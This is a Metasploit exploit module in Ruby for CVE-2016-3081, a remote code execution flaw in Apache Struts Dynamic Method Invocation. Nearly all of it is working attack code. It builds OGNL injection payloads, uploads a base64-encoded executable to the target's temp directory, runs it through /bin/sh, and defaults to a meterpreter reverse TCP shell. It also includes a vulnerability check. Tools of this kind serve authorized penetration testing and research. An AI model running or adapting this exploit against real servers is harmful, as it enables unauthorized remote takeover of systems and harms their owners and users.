##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote command execution vulnerability in Apache Struts
        version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
        Execution can be performed via method: prefix when Dynamic Method Invocation
        is enabled.
      },
      'Author'         => [ 'Nixawk' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2016-3081' ],
          [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
        ],
      'Platform'       => %w{ linux },
      'Privileged'     => true,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp_uuid'
      },
      'Targets'        =>
        [
          ['Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ]
        ],
      'DisclosureDate' => 'Apr 27 2016',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/blank-struts2/login.action']),
        OptString.new('TMPPATH', [ false, 'Overwrite the temp path for the file upload. Needed if the home directory is not writable.', nil])
      ], self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def send_http_request(payload)
    uri = normalize_uri(datastore['TARGETURI'])
    res = send_request_cgi(
      'uri'     => "#{uri}#{payload}",
      'method'  => 'POST')
    if res && res.code == 404
      fail_with(Failure::BadConfig, 'Server returned HTTP 404, please double check TARGETURI')
    end
    res
  end

  def parameterize(params) # params is a hash
    URI.escape(params.collect { |k, v| "#{k}=#{v}" }.join('&'))
  end

  def generate_rce_payload(code, params_hash)
    payload = "?method:"
    payload << Rex::Text.uri_encode("#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS")
    payload << ","
    payload << Rex::Text.uri_encode(code)
    payload << ","
    payload << Rex::Text.uri_encode("1?#xx:#request.toString")
    payload << "&"
    payload << parameterize(params_hash)
    payload
  end

  def temp_path
    @TMPPATH ||= lambda {
      path = datastore['TMPPATH']
      return nil unless path
      unless path.end_with?('/')
        path << '/'
      end
      return path
    }.call
  end

  def upload_file(filename, content)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)

    code = "##{var_a}=new sun.misc.BASE64Decoder(),"
    code << "##{var_b}=new java.io.FileOutputStream(new java.lang.String(##{var_a}.decodeBuffer(#parameters.#{var_c}[0]))),"
    code << "##{var_b}.write(##{var_a}.decodeBuffer(#parameters.#{var_d}[0])),"
    code << "##{var_b}.close()"

    params_hash = { var_c => filename, var_d => content }
    payload = generate_rce_payload(code, params_hash)

    send_http_request(payload)
  end

  def execute_command(cmd)
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)
    var_c = rand_text_alpha_lower(4)
    var_d = rand_text_alpha_lower(4)
    var_e = rand_text_alpha_lower(4)
    var_f = rand_text_alpha_lower(4)

    code = "##{var_a}=@java.lang.Runtime@getRuntime().exec(#parameters.#{var_f}[0]).getInputStream(),"
    code << "##{var_b}=new java.io.InputStreamReader(##{var_a}),"
    code << "##{var_c}=new java.io.BufferedReader(##{var_b}),"
    code << "##{var_d}=new char[1024],"
    code << "##{var_c}.read(##{var_d}),"

    code << "##{var_e}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_e}.println(##{var_d}),"
    code << "##{var_e}.close()"

    cmd.tr!(' ', '+') if cmd && cmd.include?(' ')
    params_hash = { var_f => cmd }
    payload = generate_rce_payload(code, params_hash)

    send_http_request(payload)
  end

  def linux_stager
    payload_exe = rand_text_alphanumeric(4 + rand(4))
    path = temp_path || '/tmp/'
    payload_exe = "#{path}#{payload_exe}"

    b64_filename = Rex::Text.encode_base64(payload_exe)
    b64_content = Rex::Text.encode_base64(generate_payload_exe)

    print_status("Uploading exploit to #{payload_exe}")
    upload_file(b64_filename, b64_content)

    print_status("Attempting to execute the payload...")
    execute_command("chmod 700 #{payload_exe}")
    execute_command("/bin/sh -c #{payload_exe}")
  end

  def exploit
    linux_stager
  end

  def check
    var_a = rand_text_alpha_lower(4)
    var_b = rand_text_alpha_lower(4)

    addend_one = rand_text_numeric(rand(3) + 1).to_i
    addend_two = rand_text_numeric(rand(3) + 1).to_i
    sum = addend_one + addend_two
    flag = Rex::Text.rand_text_alpha(5)

    code = "##{var_a}=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.print(new java.lang.Integer(#{addend_one}+#{addend_two})),"
    code << "##{var_a}.print(#parameters.#{var_b}[0]),"
    code << "##{var_a}.close()"

    params_hash = { var_b => flag }
    payload = generate_rce_payload(code, params_hash)

    begin
      resp = send_http_request(payload)
    rescue Msf::Exploit::Failed
      return Exploit::CheckCode::Unknown
    end

    if resp && resp.code == 200 && resp.body.include?("#{flag}#{sum}#{flag}")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

end